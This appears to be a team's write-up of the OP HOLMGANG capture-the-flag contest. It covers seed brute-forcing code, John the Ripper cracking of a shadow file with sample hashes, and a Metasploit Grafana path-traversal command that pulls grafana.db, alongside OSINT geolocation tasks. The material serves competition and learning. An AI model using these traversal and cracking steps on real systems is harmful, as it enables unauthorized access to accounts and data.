<td>10</td>
<td>September 21st, 6:49:34 PM</td>
</tr>
<tr>
<td>Needle in the haystack</td>
<td>Logs</td>
<td>10</td>
<td>September 21st, 10:09:36 PM</td>
</tr>
<tr>
<td><a href="#greedy-grafana-governor---announcement-date">Greedy Grafana Governor - Announcement date</a></td>
<td>Gain access</td>
<td>5</td>
<td>September 21st, 11:13:16 PM</td>
</tr>
<tr>
<td>Documents schmockuments - Authenticity</td>
<td>Forgery</td>
<td>5</td>
<td>September 22nd, 8:34:05 AM</td>
</tr>
<tr>
<td>Free space</td>
<td>Open source intelligence</td>
<td>10</td>
<td>September 22nd, 9:55:55 AM</td>
</tr>
</tbody>
</table>
<h2 id="credential-custodian">Credential Custodian</h2>
<p>Credential Custodian is a program found on IVANOVICH’s computer. It includes a ciphertext and a clue that he might be hiding a bip39 seed phrase.</p>
<h3 id="solution">Solution</h3>
<p>Credential custodian is a program that has two functionalities. Firstly it can generate a random password. Secondly it can encrypt a text-string with the random password, and later retrieve the secret text string if you have the password.</p>
<p>Looking through the first third of the program we can spot two of the essential clues to crack this challenge</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="rouge-code"><pre><span class="cp">#!/usr/bin/env python3
</span>
<span class="dl">'''</span><span class="s1">
2010-05-04: Here is the password manager you wanted; Start using it TODDAY!
2010-05-03: Implemented OWN generate_password function. Probably secure.
2010-05-02: Started development. Stole most of the code from hackexchange.
</span><span class="dl">'''</span>
<span class="k">import</span> <span class="nx">sys</span>
<span class="k">import</span> <span class="nx">string</span>
<span class="k">import</span> <span class="nx">random</span>
<span class="k">import</span> <span class="nx">time</span>
<span class="k">import</span> <span class="nx">base64</span>
<span class="nx">def</span> <span class="nx">generate_password</span><span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">50</span><span class="p">):</span>
<span class="dl">'''</span><span class="s1">Return an UNPREDICTALBE password of given length</span><span class="dl">'''</span>
<span class="nx">random</span><span class="p">.</span><span class="nx">seed</span><span class="p">(</span><span class="nx">int</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">time</span><span class="p">()))</span>
<span class="nx">characters</span> <span class="o">=</span> <span class="nx">string</span><span class="p">.</span><span class="nx">digits</span> <span class="o">+</span> <span class="nx">string</span><span class="p">.</span><span class="nx">ascii_letters</span>
<span class="nx">password</span> <span class="o">=</span> <span class="dl">''</span>
<span class="k">for</span> <span class="nx">i</span> <span class="k">in</span> <span class="nx">range</span><span class="p">(</span><span class="nx">length</span><span class="p">):</span>
<span class="nx">offset</span> <span class="o">=</span> <span class="nx">random</span><span class="p">.</span><span class="nx">randrange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">len</span><span class="p">(</span><span class="nx">characters</span><span class="p">))</span>
<span class="nx">password</span> <span class="o">+=</span> <span class="nx">characters</span><span class="p">[</span><span class="nx">offset</span><span class="p">]</span>
<span class="k">return</span> <span class="nx">password</span>
<span class="p">...</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We can quickly notice that generate_password uses the current time as their seed.</p>
<p>A seed is “the starting point” of randomness in computers, and using the same seed in the same generator will always produce exactly the same results.</p>
<p>We can also see that there are a few time stamps at the start of the file, guiding us to what time IVANOVICH might have generated their password.</p>
<p>The <code class="language-plaintext highlighter-rouge">time.time()</code> function gets the current unix epoch time in seconds since 1.jan 1970 00.00 GMT.</p>
<p>Knowing the timestamps from when the program was created, we started to modify the program to be able to bruteforce the password. We know that the password was originally generated after the 3rd of May, probably between the 3rd and 4th of May.</p>
<p>Using a unix epoch time calculator we found our starting second and approximated an ending second as well. Brute forcing on a modern computer is quite fast as long as it isn’t programmed in obviously inefficient ways. In our example we included quite a few extra hours on either side resulting in over <em>250 000</em> combinations to be brute forced, and the complete program used 36 seconds.</p>
<p>We edited <code class="language-plaintext highlighter-rouge">generate_password()</code> to include custom numbers as seeds rather than <code class="language-plaintext highlighter-rouge">time.time()</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">generate_password</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">length</span><span class="o">=</span><span class="mi">50</span><span class="p">):</span>
<span class="s">'''Return an UNPREDICTALBE password of given length'''</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="n">characters</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span> <span class="o">+</span> <span class="n">string</span><span class="p">.</span><span class="n">ascii_letters</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="p">...</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>In the running part of the code we started a brute force of all seeds and tried to decrypt the ciphertext with the generated passwords. Then we only printed the decoded “plaintext” that included printable characters, which turned out to be quite a few.</p>
<p>It would be possible to search out the flag only looking at the output, but further filtering was possible. Knowing that it might be a BIP39 seed phrase the correct plain text should have 12 words. Looking for a minimum of 5 words was done like this <code class="language-plaintext highlighter-rouge">if len(message.split()) > 5:</code>, and that was enough to filter out the correct flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="k">if</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">'generate'</span><span class="p">:</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1272848461</span><span class="p">,</span><span class="mi">1273104061</span><span class="p">):</span>
<span class="n">message</span> <span class="o">=</span> <span class="n">show_secret</span><span class="p">(</span><span class="n">generate_password</span><span class="p">(</span><span class="n">t</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="k">if</span> <span class="n">message</span><span class="p">.</span><span class="n">isprintable</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">message</span><span class="p">.</span><span class="n">split</span><span class="p">())</span> <span class="o">></span> <span class="mi">5</span><span class="p">:</span>
<span class="n">likely</span> <span class="o">=</span> <span class="n">message</span>
<span class="k">print</span><span class="p">(</span><span class="n">likely</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>
Up^*"VtP|HI'Heg&Z1dH!y`wG4@fkUvu|rt]y]ZQ)GFhiQQK^i
cPB#uj{\xcO>KdA+~fPsXAId26PJaGXqK[7~eAyHd{DId56Lyu
@}u!YyhWF6\=k9;iz,'W?PFKX-_Yeyuhhf6QhHPw6m&79C[MhI
nPo>{QL!\IF95cM\# nI?"CUc+q`X_]bt]0|wSDPf9 mMX-eth
qai$}u4T|^o.qiZBV$Le?GKP18zzPx_Gwrsgjz6If=;uJvTl}Q
lB\4GkG\LjXCMFyTs?vR:gpEr;DT]{{g]a(%*]DC4h)D{e/ut)
UbI%SK92VPf@j>a_l4dZ[QAN;'CT}HeZir,QGCR73IHH=ZTusL
wTh<\ll3T7D:jFjJU'RR=/pA4"B#se^}w$tWrzOs#i7mquVuq*
_JBap57RY4_$dkX@|"|%6&xdm/akPWgwqd!J(^4r*=&7pW9xu}
van use aim leg wall deal sad air put wide act pen
</pre></td></tr></tbody></table></code></pre></div></div>
<h3 id="flag">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">van use aim leg wall deal sad air put wide act pen</code></p>
<h3 id="files">Files</h3>
<p><a href="/assets/2022-09-04-op_homlgang/credential_custodian.py">credential_custodian.py</a></p>
<p><a href="/assets/2022-09-04-op_homlgang/credential_custodian_solved.py">credential_custodian_solved.py</a></p>
<h1 id="language">Language</h1>
<h2 id="criminal-polyglot">Criminal polyglot</h2>
<p>A wiretap has intercepted a call
from Sergei Ivanovich’s telephone number, see the wav file in the case
folder. Sergei talks with two culprits and the audio is believed to
contain information that can identify the manufacturer of the faulty
pipes.</p>
<p>The flag is an international phone number with no spaces.</p>
<p>Example: +4723208000</p>
<p><a href="/assets/2022-09-04-op_homlgang/wav.wav">wav.wav</a></p>
<h3 id="solution-1">Solution</h3>
<p>In the wire tape he said the phone number in romanian, and afterwards mentioned the +40 in polish.</p>
<h3 id="flag-1">Flag</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>+40 21 314 54 13
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="password">Password</h1>
<h2 id="match---shredder">Match - Shredder</h2>
<p>A search on the premises of KALLESTAD’s employer turned up some interesting shredded paper strips. Looks like someone tried to shred a password written on a post-it note. We’re not sure if all the pieces were recovered. Can you piece them together?</p>
<p>A photo of the shredded paper strips can be found in the case folder.</p>
<p>The flag is the password.</p>
<p>Example: V3ryS3cur3PaZZw0rd</p>
<h3 id="solution-2">Solution</h3>
<p>The photo of the shredded paper strips was clearly the most important hint we got.</p>
<p><img src="/assets/2022-09-04-op_homlgang/shredded.jpg" alt="shredded.jpg" /></p>
<p>One might say that you usually have two methods of solving a challenge. The smart and universal solution that solves the challenge every time in the most effective way, and there is the simple way that might be dumber, but you’ll make it work either way. The first one will often require a lot of work to get going, so we chose the “simple, lets just do it”-approach. Printing out the paper, cutting out the pieces and solving it like a ordinary puzzle.</p>
<p><img src="/assets/2022-09-04-op_homlgang/IMG_20220921_115746.jpg" alt="IMG_20220921_115746.jpg" /></p>
<p>From this solution we considered a few different spellings, and we had to get it right as we only had 3 guesses to submit the flag.</p>
<p>The organizers showed of after the event that they had a ton of different spellings submitted. Some shown below.</p>
<p><img src="/assets/2022-09-04-op_homlgang/Screenshot_from_2022-09-29_10-54-44.png" alt="Screenshot from 2022-09-29 10-54-44.png" /></p>
<p>After having tried two passwords and failling twice, we looked for more evidence to back up what our last submission would be.</p>
<p><img src="/assets/2022-09-04-op_homlgang/image1.jpg" alt="image1.jpg" /></p>
<p>This image gave us the final clue.</p>
<p><strong>140 Ton Fatberg</strong> was an article on his working dashboard with a link to the article. <a href="https://www.businessinsider.com/this-130-tonne-fatberg-has-been-discovered-under-the-streets-of-east-london-2017-9?r=US&IR=T">https://www.businessinsider.com/this-130-tonne-fatberg-has-been-discovered-under-the-streets-of-east-london-2017-9?r=US&IR=T</a></p>
<h3 id="flag-2">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">140TonFatberg</code></p>
<h2 id="match---belongs-to-whom">Match - Belongs to whom</h2>
<p>This was a followup-challenge to <strong>Match - Shredder.</strong> We have not saved the exact challenge text, but the challenge was to figure out the password of <strong>140TonFatberg</strong>. We were given a shadow-file extracted from Kallestads computer.</p>
<p>The flag is the user</p>
<p>example: uid123</p>
<h3 id="solution-3">Solution</h3>
<p>The contents of shadow looks like this.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="p">...</span>
<span class="n">uid269</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="n">hLPQ2STl</span><span class="err">$</span><span class="n">VY28dnGq</span><span class="p">.</span><span class="n">a</span><span class="p">.</span><span class="n">Yv6L</span><span class="p">.</span><span class="n">hsm5f1</span><span class="p">:</span><span class="m">18298</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid270</span><span class="p">:</span><span class="err">$</span><span class="m">6</span><span class="err">$</span><span class="n">OAnyQFwNdH</span><span class="err">$</span><span class="n">u8bjf2h8f8QeEKx9jokjAtlx</span><span class="p">.</span><span class="n">t6dc7Tn3iUE</span><span class="p">/</span><span class="n">qzuVNrFcjOKwUEPRF1XF5ktCD70CptUmgYwrf0a4wBGIEJ9O0</span><span class="p">:</span><span class="m">18226</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid273</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="n">YI1s8plV</span><span class="err">$</span><span class="n">hzbpGy</span><span class="p">.</span><span class="n">XacyX8</span><span class="p">.</span><span class="n">fWTD9GY</span><span class="p">/:</span><span class="m">18280</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid274</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="n">FOfSgJFX</span><span class="err">$</span><span class="n">reWulZST7BNPJPt4S8bY90</span><span class="p">:</span><span class="m">18291</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid275</span><span class="p">:</span><span class="err">$</span><span class="m">5</span><span class="err">$</span><span class="n">gizTwIB5uM</span><span class="err">$</span><span class="m">7</span><span class="n">jRzJbk9XgzyOcOY</span><span class="p">.</span><span class="n">KLO1Q5aGrYei7WIDwNjfaICN21</span><span class="p">:</span><span class="m">18273</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid276</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="n">cyOzOE55</span><span class="err">$</span><span class="n">dZ4jjtY9MQYgj6CT5weJd</span><span class="p">/:</span><span class="m">18278</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid277</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="m">8</span><span class="n">apMktaJ</span><span class="err">$</span><span class="n">c4vk2A</span><span class="p">.</span><span class="n">s81CdayFF7wyUP</span><span class="p">/:</span><span class="m">18213</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid278</span><span class="p">:</span><span class="err">$</span><span class="m">1</span><span class="err">$</span><span class="m">0</span><span class="n">ksdhyfC</span><span class="err">$</span><span class="n">pis7jlpvCysyy</span><span class="p">/</span><span class="n">Zdauqs</span><span class="p">./:</span><span class="m">18230</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid280</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="n">OsoDazfU</span><span class="err">$</span><span class="n">UVDJnQ4WBqT4ddWw1wz5o0</span><span class="p">:</span><span class="m">18221</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid281</span><span class="p">:</span><span class="err">$</span><span class="m">1</span><span class="err">$</span><span class="n">KilvYCzr</span><span class="err">$</span><span class="n">mmRJriApddtoJsXkBBEON</span><span class="p">.:</span><span class="m">18268</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid282</span><span class="p">:</span><span class="err">$</span><span class="m">5</span><span class="err">$</span><span class="n">zjcoxLw5NE</span><span class="err">$</span><span class="n">D8jcVmEBwXwIpSK4hdf0VuMyHVoTvOnYJfYSwziI7a5</span><span class="p">:</span><span class="m">18217</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="n">uid283</span><span class="p">:</span><span class="err">$</span><span class="n">apr1</span><span class="err">$</span><span class="n">YbAYwnlm</span><span class="err">$</span><span class="n">CNNrvMWTldapx5bDcMbg9</span><span class="p">.:</span><span class="m">18213</span><span class="p">:</span><span class="m">0</span><span class="p">:</span><span class="m">99999</span><span class="p">:</span><span class="m">7</span><span class="p">:::</span>
<span class="p">...</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Firstly we tried to use john (the ripper) to crack the shadow-file with only the given password in the wordfile, but john raised a lot of unclear warnings and didn’t produce the correct result.</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="err">$</span> <span class="n">john</span> <span class="n">shadow</span> <span class="p">--</span><span class="n">wordlist</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">wordlist</span><span class="p">.</span><span class="n">txt</span>
<span class="n">Warning</span><span class="p">:</span> <span class="n">hash</span> <span class="n">encoding</span> <span class="kt">string</span> <span class="n">length</span> <span class="m">37</span><span class="p">,</span> <span class="n">type</span> <span class="n">id</span> <span class="err">$</span><span class="n">a</span>
<span class="n">appears</span> <span class="n">to</span> <span class="n">be</span> <span class="n">unsupported</span> <span class="k">on</span> <span class="k">this</span> <span class="n">system</span><span class="p">;</span> <span class="n">will</span> <span class="n">not</span> <span class="n">load</span> <span class="n">such</span> <span class="n">hashes</span><span class="p">.</span>
<span class="n">Warning</span><span class="p">:</span> <span class="n">only</span> <span class="n">loading</span> <span class="n">hashes</span> <span class="n">of</span> <span class="n">type</span> <span class="s">"crypt"</span><span class="p">,</span> <span class="n">but</span> <span class="n">also</span> <span class="n">saw</span> <span class="n">type</span> <span class="s">"md5crypt"</span>
<span class="n">Use</span> <span class="n">the</span> <span class="s">"--format=md5crypt"</span> <span class="n">option</span> <span class="n">to</span> <span class="n">force</span> <span class="n">loading</span> <span class="n">hashes</span> <span class="n">of</span> <span class="n">that</span> <span class="n">type</span> <span class="n">instead</span>
<span class="n">Loaded</span> <span class="m">192</span> <span class="n">password</span> <span class="n">hashes</span> <span class="n">with</span> <span class="m">192</span> <span class="n">different</span> <span class="nf">salts</span> <span class="p">(</span><span class="n">crypt</span><span class="p">,</span> <span class="n">generic</span> <span class="nf">crypt</span><span class="p">(</span><span class="m">3</span><span class="p">)</span> <span class="p">[?/</span><span class="m">64</span><span class="p">])</span>
<span class="n">Remaining</span> <span class="m">191</span> <span class="n">password</span> <span class="n">hashes</span> <span class="n">with</span> <span class="m">191</span> <span class="n">different</span> <span class="n">salts</span>
<span class="n">Will</span> <span class="n">run</span> <span class="m">8</span> <span class="n">OpenMP</span> <span class="n">threads</span>
<span class="n">Press</span> <span class="sc">'q'</span> <span class="n">or</span> <span class="n">Ctrl</span><span class="p">-</span><span class="n">C</span> <span class="n">to</span> <span class="n">abort</span><span class="p">,</span> <span class="n">almost</span> <span class="n">any</span> <span class="n">other</span> <span class="n">key</span> <span class="k">for</span> <span class="n">status</span>
<span class="m">0</span><span class="n">g</span> <span class="m">0</span><span class="p">:</span><span class="m">00</span><span class="p">:</span><span class="m">00</span><span class="p">:</span><span class="m">00</span> <span class="m">100</span><span class="p">%</span> <span class="m">0</span><span class="n">g</span><span class="p">/</span><span class="n">s</span> <span class="m">1.785</span><span class="n">p</span><span class="p">/</span><span class="n">s</span> <span class="m">341.0</span><span class="n">c</span><span class="p">/</span><span class="n">s</span> <span class="m">341.0</span><span class="n">C</span><span class="p">/</span><span class="n">s</span> <span class="m">140</span><span class="n">TonFatberg</span>
<span class="n">Session</span> <span class="n">completed</span>
<span class="err">$</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>A lot of unclear problem solving was applied and nothing gave results.</p>
<p>In the end we appended the known password to a short separate passwordlist such that the new file included 50 known wrong passwords and one known correct password.</p>
<p>This made john function correctly and gave us the correct result.</p>
<div class="language-haskell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="n">john</span> <span class="n">shadow</span> <span class="c1">--wordlist=pass.txt</span>
<span class="o">></span> <span class="mi">140</span><span class="kt">TonFatberg</span> <span class="p">(</span><span class="n">uid224</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h3 id="flag-3">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">uid224</code></p>
<h1 id="chat">Chat</h1>
<h2 id="chattomato---get-access"><strong>ChatTomato - Get access</strong></h2>
<h3 id="description">Description:</h3>
<p>A suspicious image was found on KALLESTAD’s computer. Look in the case folder under Search and seizures. We suspect the image contains relevant information for accessing a darknet service listed at okskqu2ypqewyqk2igdath7zylsayqucdjeztlha3jvtelcc4pncshid.onion, but we are unable to extract it from the picture.</p>
<p>The flag is a username.</p>
<p>Example: SomeUser</p>
<h3 id="solution-4">Solution</h3>
<p>Bitplanes, photoshop, qrazybox</p>
<p>We used phtoshop to make the image more viewable.</p>
<p>Then we manually recreated the QR code in <a href="https://merricx.github.io/qrazybox/">https://merricx.github.io/qrazybox/</a></p>
<p><img src="/assets/2022-09-04-op_homlgang/canvas.png" alt="canvas.png" /></p>
<p><strong>Decrypted QR code:</strong></p>
<p>user=<code class="language-plaintext highlighter-rouge">PipeDigger</code> pass=<code class="language-plaintext highlighter-rouge">140TonFatberg</code></p>
<h3 id="flag-4">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">PipeDigger</code></p>
<h2 id="chattomato---fetch-contents"><strong>ChatTomato - Fetch contents</strong></h2>
<h3 id="description-1">Description</h3>
<p>Accessing the ChatTomato service is easy once you have the URL, username and password combo. Log in and get hold of the chat contents. We’re interested in the first user that KALLESTAD chatted with.</p>
<p>The flag is a username.</p>
<p>Example: SomeUser</p>
<h3 id="solution-5">Solution</h3>
<p>Logged in to <a href="http://3pcy56xc56d6ej55lm3vvq2tgdsizwanq3npcvqthftxumqp6verytid.onion/chattomato/rooms/228625664_1503454667/reader.html">Onion site</a> with user=<code class="language-plaintext highlighter-rouge">PipeDigger</code>and pass=<code class="language-plaintext highlighter-rouge">140TonFatberg</code></p>
<p><img src="/assets/2022-09-04-op_homlgang/Untitled.png" alt="Untitled" /></p>
<h3 id="flag-5">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">Yosemite</code></p>
<p><a href="/assets/2022-09-04-op_homlgang/chat.pdf">chat.pdf</a></p>
<h2 id="gain-access">Gain access</h2>
<h3 id="greedy-grafana-governor---announcement-date"><strong>Greedy Grafana Governor - Announcement date</strong></h3>
<p>The revenue and related announcements is available in a Grafana database. The URL is found in the case folder. We don’t have access but maybe you can get hold of the database somehow?</p>
<p>Can you look for any announcements regarding decreasing revenue and report back any relevant dates.</p>
<p>Tha flag is a date in ISO-format: YYYY-MM-DD.</p>
<p>Example: 2022-01-01</p>
<h3 id="solution-6">Solution</h3>
<p>Googling around we found that grafana had a <a href="https://www.exploit-db.com/exploits/50581">path traversal vulnerability</a>. We used metasploit to download the database and find the flag.</p>
<p>Metasploit</p>
<p><code class="language-plaintext highlighter-rouge">msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set filepath /var/lib/grafana/grafana.db</code></p>
<h3 id="flag-6">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">2010-05-01</code></p>
<h2 id="greedy-grafana-governor---password"><strong>**Greedy Grafana Governor - Password</strong>**</h2>
<p>Looking into the “grafana.db” we found in previous task. To make it easier to search around in the database, I downloaded “DB Browser for SQlite”, and opened the .db file there. Under table “User”, we find a hashed password with salt and rand to user IVANOVICH.</p>
<p><img src="/assets/2022-09-04-op_homlgang/Untitled%201.png" alt="Untitled" /></p>
<h1 id="location">Location</h1>
<h2 id="wheres-the-money-hidden---phone-number">Where’s the money hidden - Phone number</h2>
<h3 id="description-2">Description</h3>
<p>According to photos in the cases
folder, Mr and Mrs Mørkved have been dining at a restaurant. What is the
phone number of the restaurant?</p>
<p>The flag is the phone number, including country code, but without any signs or pauses.</p>
<p>Example: 479988776655</p>
<p><img src="/assets/2022-09-04-op_homlgang/Image3408.jpg" alt="Image3408.jpg" /></p>
<p><img src="/assets/2022-09-04-op_homlgang/Image3409.jpg" alt="Image3409.jpg" /></p>
<p>Googling <code class="language-plaintext highlighter-rouge">ersete security club resturant croatia</code> we find this link:</p>
<p><a href="https://www.sail-croatia.com/set-sail/sailing-croatian-restaurants-route">https://www.sail-croatia.com/set-sail/sailing-croatian-restaurants-route</a></p>
<p>Here we see this picture:</p>
<p><img src="/assets/2022-09-04-op_homlgang/Screenshot_2022-09-21_132700.png" alt="Screenshot 2022-09-21 132700.png" /></p>
<p>Which is in the same location. Doing a reverse image search on this image we find it is from the following restaurant: <a href="https://www.tripadvisor.com/Restaurant_Review-g424973-d1462116-Reviews-Konoba_BAKO-Vis_Island_of_Vis_Split_Dalmatia_County_Dalmatia.html#MAPVIEW">Konoba Bako</a></p>
<p>A resturant really close by <strong><a href="https://www.tripadvisor.com/Restaurant_Review-g1062125-d8432167-Reviews-Konoba_Jastozera-Komiza_Island_of_Vis_Split_Dalmatia_County_Dalmatia.html">Konoba Jastožera</a></strong>, which seems to be the correct resturant.</p>
<h3 id="flag-7">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">385919842513</code></p>
<h2 id="wheres-the-money-hidden---location">Where’s the money hidden - Location</h2>
<h3 id="description-3">Description</h3>
<p>Mr KALLESTAD has an apartment abroad. What are the GPS coordinates?</p>
<p>The flag is the GPS coordinates in decimal degrees form:</p>
<ul>
<li>Latitude first and then longitude: lat, lon</li>
<li>Use a dot (.) as the decimal point in your coordinates: 12.1234</li>
<li>Coordinates can be negative: -12.1234, -10.3456</li>
<li>Use a comma and/or space to separate lat and lon: 12.1234, 23.2345</li>
<li>Coordinates should have FOUR decimal places</li>
</ul>
<p>Example: 39.0581, -1.9872</p>
<p><img src="/assets/2022-09-04-op_homlgang/IMG_9502.jpg" alt="IMG_9502.JPG" /></p>
<p><img src="/assets/2022-09-04-op_homlgang/IMG_9461.jpg" alt="IMG_9461.JPG" /></p>
<h3 id="solution-7">Solution</h3>
<p>On the one picture we can see a Swedish restaurant and their phone number. Googling them gave us a address in <em>Torrevieja Spain</em> which matched up with the photos. We had the correct location. In the police report it is stated that Kallestad texted</p>
<blockquote>
<p>“Hi Sergei. You know the street name, and the number of the apartment with the red ring on it, is 22. Hope to see you soon, Robbans Pizzario is near by and very
nice It’s about a 500m walk”.</p>
</blockquote>
<p>Thus we know it’s about a 500m walk. We can also see from the pictures that it has a red pavement, is located in a small hill, has a right turn and has a few tall apartments in the background. Searching the area we found the tall apartments. Further searching around that area, we found the red pavement and a right turn, which turned out to be the correct position of the photo. Opening google maps and right-clicking on the balcony from the picture gave the correct coordinates.</p>
<p><a href="https://earth.google.com/web/search/C.+Granada,+5,+Torrevieja,+Spain/@38.00456615,-0.65358012,40.60143652a,0d,60y,21.18704986h,85t,0r/data=CigiJgokCYF14CyZAENAERkZtV1uAENAGQRdFVTx8uS_IRitL124_uS_IhoKFmM1Z1NlZXA4MUlOUGoyb0dvMnVEWmcQAjoDCgEw?authuser=0">Google earth</a></p>
<h3 id="flag-8">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">38.0045, -0.6536</code></p>
<h2 id="wheres-the-money-hidden---address"><strong>**Where’s the money hidden - Address</strong>**</h2>
<p>We found a picture of the watchtower and the appartment in the task “Where’s the money hidden - Phone number” - and figured out this was in <em>KOMIŽA, Croatia</em>. Using Google Maps, we navigate to the watchtower, and from there look at pictures nearby. The flag was found on <a href="https://www.google.com/maps/place/Ul.+Riva+Svetoga+Mikule+2,+21485,+Komi%C5%BEa,+Kroatia/@43.0439957,16.0883026,3a,75y,149.29h,92.38t/data=!3m6!1e1!3m4!1slyF2rhvBIRpZOFBPL5jqwQ!2e0!7i13312!8i6656!4m5!3m4!1s0x1335bc3e107739e3:0xfd9042829b62694e!8m2!3d43.0439704!4d16.0883704?hl=nb">this</a> picture</p>
<p><img src="/assets/2022-09-04-op_homlgang/Untitled%202.png" alt="Untitled" /></p>
<h3 id="flag-9">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">2</code></p>FesseMiskIntro OP HOLMGANG was a CTF hosted by Kripos, a special agency of the Norwegian Police Service, for the University of Oslo, but it was open to the public. Although it was a classic jepoardy-style CTF, it was special in the sence that every chall was connected up to a central incidenct. It was all made to look like an actual police investigation, which made the CTF a lot more fun. The Case Summary can be read here, case_summary.pdf.